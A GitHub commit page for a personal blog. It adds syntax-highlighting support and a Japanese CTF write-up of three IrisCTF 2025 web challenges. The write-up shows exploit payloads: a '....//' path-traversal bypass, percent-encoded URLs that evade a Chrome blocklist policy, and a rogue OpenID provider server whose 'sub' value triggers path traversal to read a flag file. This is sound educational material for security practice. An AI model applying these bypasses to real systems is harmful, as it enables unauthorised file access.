Skip to content

Commit

Permalink
Merge pull request #151 from akimon658/article/irisctf2025
Browse files Browse the repository at this point in the history
Add new article `irisctf2025`
  • Loading branch information
akimon658 authored Jan 7, 2025
2 parents 5a83249 + f9928e1 commit d746846
Show file tree
Hide file tree
Showing 8 changed files with 172 additions and 3 deletions.
6 changes: 4 additions & 2 deletions _config.ts
Original file line number Diff line number Diff line change
Expand Up @@ -20,8 +20,9 @@ import variableCompress from "postcss-variable-compress"
import rehypeExternalLinks from "rehype-external-links"
import rehypeRaw from "rehype-raw"
import typography from "@tailwindcss/typography"
import Parser, { Language } from "tree-sitter"
import Parser, { type Language } from "tree-sitter"
import Bash from "tree-sitter-bash"
import JSON from "tree-sitter-json"
import Go from "tree-sitter-go"
import Lua from "@tree-sitter-grammars/tree-sitter-lua"
import Markdown from "@tree-sitter-grammars/tree-sitter-markdown"
Expand Down Expand Up @@ -58,10 +59,11 @@ const parseCode = (code: string, lang: string) => {
go: Go,
html: HTML,
javascript: JavaScript,
json: JSON,
lua: Lua,
markdown: Markdown,
shell: Bash,
ts: TypeScript.typescript,
typescript: TypeScript.typescript,
yaml: YAML,
} as Record<string, Language>

Expand Down
1 change: 1 addition & 0 deletions deno.jsonc
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,7 @@
"tree-sitter-go": "npm:[email protected]",
"tree-sitter-html": "npm:[email protected]",
"tree-sitter-javascript": "npm:[email protected]",
"tree-sitter-json": "npm:[email protected]",
"tree-sitter-typescript": "npm:[email protected]",
},
"fmt": {
Expand Down
9 changes: 9 additions & 0 deletions deno.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

16 changes: 16 additions & 0 deletions src/_vscode.css
Original file line number Diff line number Diff line change
Expand Up @@ -101,6 +101,10 @@
color: var(--vsc-front);
}

.ts-export {
color: var(--vsc-pink);
}

.ts-field_identifier {
color: var(--vsc-light-blue);
}
Expand Down Expand Up @@ -209,6 +213,10 @@
color: var(--vsc-blue-green);
}

.ts-pair>.ts-string:first-child {
color: var(--vsc-light-blue);
}

.ts-predefined_type>.ts-string {
color: var(--vsc-blue-green);
}
Expand Down Expand Up @@ -253,6 +261,14 @@
color: var(--vsc-blue);
}

.ts-throw {
color: var(--vsc-pink);
}

.ts-true {
color: var(--vsc-blue);
}

.ts-type_identifier {
color: var(--vsc-blue-green);
}
Expand Down
141 changes: 141 additions & 0 deletions src/blog/irisctf2025.mdx
Original file line number Diff line number Diff line change
@@ -0,0 +1,141 @@
---
title: IrisCTF 2025 writeup (Web)
---

日本時間の2025年1月4日9:00から2日間開催された[IrisCTF](https://irisc.tf/)[traP](https://trap.jp/)として参加し、1064チーム中89位を獲得した。僕はWebの問題を3問解いたので、それについて振り返る。

## Password Manager (baby)

ディレクトリトラバーサルを防ぐために`PathReplacer`なるものが用意されている。

```go
var PathReplacer = strings.NewReplacer(
"../", "",
)
```

が、別に置換後の文字列はチェックされないので`....//`を使えばいい。

![password-manager-web.chal.irisc.tf/...//users.jsonにアクセスし、パスワードを入手した様子](/img/password-manager.avif)

あとは入手したパスワードを使ってログインすればflagが表示される。

## Political (easy)

index.htmlとchal.pyを眺めると、

- アクセスするごとにランダムなトークンが発行される
- `valid_tokens[token] == True`となるトークンを使うとflagを入手できる
- `valid_tokens`を設定するにはadminのcookieが必要

ということが分かる。また、配布ファイルの`bot/`ディレクトリには`nc`先で動いているものと思われるコードがある。bot.jsはadminのcookieを使って与えられたURLにアクセスしてくれるので、こいつに`https://political-web.chal.irisc.tf/giveflag?token=TOKEN`を渡せば良さそうだ。しかし、policy.jsonがあるのでそのままではうまくいかない。

```json
{
"URLBlocklist": ["*/giveflag", "*?token=*"]
}
```

Dockerfileに次のような行

```Dockerfile
COPY policy.json /etc/opt/chrome_for_testing/policies/managed/
```

があるので、policy.jsonはChromeの設定ファイルらしい。というわけで[Chromeのドキュメント](https://support.google.com/chrome/a/answer/9942583?hl=JA)を読むと、パスとクエリパラメータでは大文字・小文字が区別されると書いてある。これが使えないかと思ったが、Flaskがデフォルトでcase-sensitiveなので駄目だった。他に`URLBlocklist`にはマッチさせず同じURLを表現する方法を考えたところ、パーセントエンコードすれば良いということに気付いたため`https://political-web.chal.irisc.tf/%67iveflag?%74oken=TOKEN`をbot.jsに渡して解決した。こんなんで回避できちゃうポリシーに意味あるのかな。

## Bad Todo (medium)

OpenIDとか書いてあるが、よく分からないので一旦置いておく。prime_flag.jsに

```javascript
const client = createClient({
url: `file://${process.env.STORAGE_LOCATION}/flag`
});
```

とあり、他に`createClient`が呼ばれている箇所では全て

```javascript
const client = createClient({
url: `file://${getStoragePath(idp, sub)}`
});
```

となっているので`getStoragePath`に適当な引数を渡すことでflagを取得できないか考える。

```javascript
export function sanitizePath(base) {
const normalized = path.normalize(path.join(process.env.STORAGE_LOCATION, base));
const relative = path.relative(process.env.STORAGE_LOCATION, normalized);
if (relative.includes("..")) throw new Error("Path insane");

const parent = path.dirname(normalized);
mkdirSync(parent, { recursive: true });

return normalized;
}

export function getStoragePath(idp, sub) {
const first2 = sub.substring(0, 2);
const rest = sub.substring(2);

const path = `${sha256sum(idp)}/${encodeURIComponent(first2)}/${encodeURIComponent(rest)}`;
return sanitizePath(path);
}
```

`sanitizePath``relative.includes("..")`とあるので一見`..`を含めることができなそうだが、ここでチェックされているのは`STORAGE_LOCATION`に対する相対パスなので遡りすぎなければ問題ない。`encodeURIComponent`のせいで自由に`/`を使うことはできないが、なぜか`sub`の最初2文字を切り出してくれているので`..flag`とすることで`path``${sha256sum(idp)}/../flag`になる。

では`sub`は何なのか?関数の呼び出し元を辿っていくと、フォームに入力したOpenIDのissuerが返す値が使われていることが分かる。なのであとは適当なOpenIDプロバイダを用意して`..flag`を返すようにするだけだ。ここでOpenIDに関する知識は必要なくて(僕は持っていない)、ただapp.jsで使われているレスポンスを返すだけのサーバを用意すれば良い。

```typescript
const issuer = "https://close-badger-22.deno.dev"

Deno.serve((req) => {
const reqUrl = new URL(req.url)

if (reqUrl.pathname === "/.well-known/openid-configuration") {
return Response.json({
issuer: issuer,
authorization_endpoint: issuer + "/auth",
token_endpoint: issuer + "/token",
userinfo_endpoint: issuer + "/userinfo",
})
}

if (reqUrl.pathname === "/auth") {
const redirectUri = reqUrl.searchParams.get("redirect_uri")
const state = reqUrl.searchParams.get("state")

if (!redirectUri) {
return new Response("redirect_uri is required", { status: 400 })
}

return Response.redirect(redirectUri + "?state=" + state)
}

if (reqUrl.pathname === "/token") {
return Response.json({
access_token: "token",
token_type: "Bearer",
})
}

if (reqUrl.pathname === "/userinfo") {
return Response.json({
sub: "..flag",
})
}

return new Response("Not Found", { status: 404 })
})
```

初めてDeno Deployを使ってみたが、リポジトリを用意したりしなくてもplaygroundでサクッとサーバーを立てられるのは便利だった。

![Deno Deployのplayground](/img/deno-deploy-playground.avif)

## おわりに

CTFのWeb問にしっかり時間を割くのは初めてだったが、思ったより解けて楽しかった。去年はtraPのCTF班に所属しておきながら講習会を受けるだけでほとんどコンテストに出られていなかったので、今年はもっと活動していきたい。
2 changes: 1 addition & 1 deletion src/blog/migrate-from-hugo-to-lume.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ title: Tree-sitterでシンタックスハイライトするためにHugoからL

まずは次のコードブロックを見てほしい。

```ts
```typescript
const parseCode = (code: string, lang: string) => {
const languages: Record<string, unknown> = {
go: Go,
Expand Down
Binary file added src/img/deno-deploy-playground.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added src/img/password-manager.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.

0 comments on commit d746846

Please sign in to comment.